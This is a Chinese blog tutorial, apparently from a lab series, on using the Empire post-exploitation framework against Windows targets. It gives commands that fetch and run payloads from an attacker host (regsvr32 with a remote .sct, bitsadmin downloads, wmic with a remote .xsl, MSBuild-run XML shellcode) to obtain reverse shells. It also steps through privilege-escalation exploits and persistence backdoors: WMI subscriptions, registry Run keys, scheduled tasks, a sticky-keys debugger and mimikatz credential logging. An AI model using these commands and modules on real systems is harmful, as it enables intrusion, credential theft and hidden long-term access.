内网渗透 day15-empire(usestager用法、提权、持久化后门)

empire(usestager用法、提权、持久化后门)

本章前提:已成功设置监听器(如何设置监听器请看day14篇)

1. usestager的几种用法

windows/launcher_sct:

介绍:Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。

用法:regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname

1) usestager windows/launcher_sct     进入windows/launcher_sct模块

wps1

2) 设置一下参数

wps2

set Listener kali

set OutFile /var/www/html/xx.sct

3) execute  执行

wps3

4) 在靶机上运行 regsvr32 /u /n /s /i:http://192.168.227.129/xx.sct scrobj.dll

wps4

wps5

5) 成功返回会话

wps6

windows/launcher_vbs:

远程下载:bitsadmin /transfer /n http://IP/xx.vbs path

1) usestager windows/launcher_vbs     进入windows/launcher_vbs模块

wps7

2) 设置一下参数

wps8

3) execute  执行

wps9

4) 在靶机上运行

bitsadmin /transfer n http://192.168.227.129/xx.vbs C:\Users\xxx\Desktop\xx.vbs

wps10

wps11

5) 靶机执行.vbs文件,成功反弹会话

wps12

windows/launcher_xml:

MSBuild是一个免费的开源构建工具集,用于管理本地C++代码.在Visual Studio2013之前,MSBuild是作为.NET框架的一部分,但是在其之后,MSBuild被绑定到了Visual Studio.所以,Visual Studio依赖于MSBuild,但是MSBuild并不依赖于Visual Studio。

用法:利用net4.0之后的版本中的MSBuild运行注入shellcode的xml文件反弹shell

1) 跟前面两个操作一样生成xml文件到/var/www/html/文件夹下

wps13

2) 在靶机上下载该文件

wps14

3) 在靶机上cd到C:\Windows\Microsoft.NET\Framework64\v4.0.30319\使用MSBuild运行xml

wps15

4) 成功反弹会话

wps16

windows/wmic:

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批命令脚本执行系统管理的支持。

用法:wmic os get /format:"http://IP/xx.xsl"

1) 跟前面两个的操作步骤一样将生成的xsl存到html文件夹下

wps17

2) 在靶机上执行wmic os get /format:"http://192.168.227.129/xx.xsl"

wps18

3) 成功反弹会话

wps19

2. empire提权模块

uac和bypassuac在day14有介绍

本地提权

ms16-135:Win32k 信息泄漏漏洞

若要利用此漏洞,攻击者必须登录到受影响的系统并运行经特殊设计的应用程序。此安全更新 程序通过更正 Windows 内核处理内存地址的方式来修复这个漏洞。

searchmodule ms16-135 查找ms16-135模块

wps20

usemodule privesc/ms16-135    使用模块

wps21

设置完参数后执行

wps22

成功反弹拥有特权的会话

wps23

ms16-032:辅助登录特权提升漏洞

如果 Windows 辅助登录服务未能正确管理内存中的请求句柄,Microsoft Windows 中会存在 一个特权提升漏洞。 成功利用此漏洞的攻击者能够以管理员身份运行任意代码。

usemodule privesc/ms16-032    使用模块

wps24

设置完参数执行

wps25

成功返回有系统特权的会话

wps26

wps27

powershell/privesc/sherlock 查找Windows本地特权升级漏洞

usemodule privesc/sherlock  使用该模块

wps28

显示本地特权升级的漏洞

wps29

利用powerup进行提权

PowerUp是一个PowerShell工具,可协助Windows系统上的本地特权升级。它包含多种方法来 识别和滥用易受攻击的服务,以及DLL劫持机会,易受攻击的注册表设置和升级机会。它是PowerTools 的一部分,位于https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp。Empire 在privesc / powerup / *模块中实现了PowerUp的升级功能 。

usemodule privesc/powerup/allchecks 检测是否可以利用powerup漏洞

wps30

显示存在漏洞

wps31

根据显示存在的漏洞利用对应模块

wps32

可以看到存在对服务可执行文件的配置不当权限(可通过service_exe_ *加以利用)

不过这边我都试过了一遍,不是很好用

3. 持久化后门

PowerBreach

介绍:PowerBreach是一系列内存中的PowerShell后门,可为各种选项提供触发器。

persistence/powerbreach/deaduser –接受用户名和关于用户名是否是域名(相对于本地帐户)的开关/标志。脚本每隔Sleep秒就会检查帐户是否仍然存在,如果不存在则触发登台逻辑。该后门不需要本地管理员权限。

理解:判断你设置的用户名是否存在(有没有被改名或者删除),当被改名的时候会就触发该脚本反弹shell

usemodule persistence/powerbreach/deaduser 使用模块

wps33

查看所需参数

wps34

设置相关参数

wps35

执行

wps36

把aaa改成了bbb

wps37

成功反弹shell

wps38

persistence/powerbreach/eventlog - 事件日志–按时间间隔查询安全事件日志,以查找具有唯一触发器值的事件。此后门DOES需要管理员权限才能访问安全事件日志。

usemodule persistence/powerbreach/eventlog* 使用模块

wps39

查看所需参数

wps40

设置相关参数

wps41

执行

wps42

打开靶机的eventvwr,当安全日志中存在HACKER(上面参数定义的可以自己更改)关键字时

wps43

成功反弹会话

wps44

由于是管理员权限留下的后门,所以返回的会话也拥有管理员权限

wps45

persistence/powerbreach /resolver –需要解析的主机名和触发IP。脚本每隔睡眠秒数检查一次主机名是否解析为触发IP,否则将触发暂存逻辑。该后门不需要本地管理员权限。

usemodule persistence/powerbreach/resolver 使用模块

wps46

查看所需参数

wps47

设置相关参数

wps48

执行

wps49

靶机上去访问一下127.0.0.1,让他进行解析

wps50

成功反弹shell

wps51

Userland

persistence/userland/ * 模块允许用户态,从重启的持久性(即无需管理权限)。如果指定了侦听器,则会自动生成Empire代理的登台代码并将其用作触发的脚本逻辑。

persistence/userland /registry –在HKCU:Software\Microsoft\Windows\CurrentVersion\Run中设置一个值,以在选择的任何存储机制下执行脚本。仅当该用户登录时,这将导致脚本运行。

usemodule persistence/userland/registry 使用模块

wps52

查看所需参数

wps53

设置相关参数

wps54

执行

wps55

将靶机注销重新登录,成功返回shell会话(这里用户登录的时候会有短暂的powershell弹框)

wps56

persistence/userland/schtask –配置计划的任务以在选择任何存储机制的情况下执行脚本。该脚本可以在DailyTime(HH:mm格式)下触发,或者在用户闲置IdleTime秒后触发

理解:这个是放注册表中的计划任务

usemodule persistence/userland/schtasks 使用模块

wps57

查看所需参数

wps58

设置相关参数

wps59

执行

wps60

将靶机注销重新登录,等设置的时间到,成功返回shell会话

wps61

Elevated

persistence/elevated/*模块允许重启的持久性从升高的上下文(即具有管理特权)。如果指定了侦听器,则会自动生成Empire代理的登台代码并将其用作触发的脚本逻辑。

理解:该模块是拥有管理员权限留下的拥有权限的后门

persistence/elevated/registry、persistence/elevated/schtask,这两个用法和之前的一样,只不过需要管理员权限

persistence/elevated/wmi–配置永久WMI订阅以激发存储的脚本逻辑。该脚本可以在DailyTime(HH:mm格式)或使用AtStartup启动系统时触发。这具有难以检测/去除的等级。

理解:这个是放注册表中的计划任务

usemodule persistence/elevated/wmi* 使用模块

wps62

查看所需参数

wps63

设置相关参数

wps64

执行

wps65

将靶机上验证wmi,在powershell中直接输入Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter “Name=’Updater’”

wps66

重启靶机,成功反弹有管理员权限的shell

wps67

wps68

misc

persistence/misc/debugger*-在empire3.6.0版本中把persistence/ debugger / * 模块整合到了persistence/misc/debugger*模块中。您可以为RDP提示符下登录前可访问的各种可执行文件设置“映像文件执行选项”(又名调试器)。默认情况下,调试器设置为cmd.exe,它使您可以触发通过RDP以SYSTEM身份运行的命令提示符,而无需实际登录计算机。您还可以使用Binary参数指定另一个二进制文件的路径。如果要调试器触发暂存器,请设置Listener参数。这将为指定的侦听器生成一个合适的暂存器,并将其存储到指定的RegPath中。然后,您可以从RDP提示预身份验证中触发这些登台程序,但是请注意,一旦关闭RDP提示(在不活动30秒后发生),登台的代理将被杀死。

usemodule persistence/misc/debugger* 使用模块

wps69

查看所需参数

wps70

设置参数

wps71

执行

wps72

在靶机win7登录界面按5次shift,有个powershell的框一闪而过

wps73

成功返回会话,并且是管理员权限

wps74

persistence/misc/memssp –安装Mimikatz的memssp模块,该模块应将所有身份验证事件注销到C:\ Windows \ System32 \ mimisla.log。应该重新引导持久。

usemodule persistence/misc/memssp* 使用模块

wps75

直接运行就可以了

wps76

靶机对应目录生成了mimisla.log文件

wps77

persistence/misc/disable_machine_acct_change –禁止目标更改其计算机帐户密码。如果首先运行mimikatz/credentials/logonpasswords来转储计算机帐户密码(帐户以$结尾),则您应该具有对给定系统的持久访问权限。清理选项也可用。

使用该模块后直接运行就可以了

wps78

posted @ 2020-11-18 16:41  彩虹猛犸  阅读(776)  评论(0编辑  收藏  举报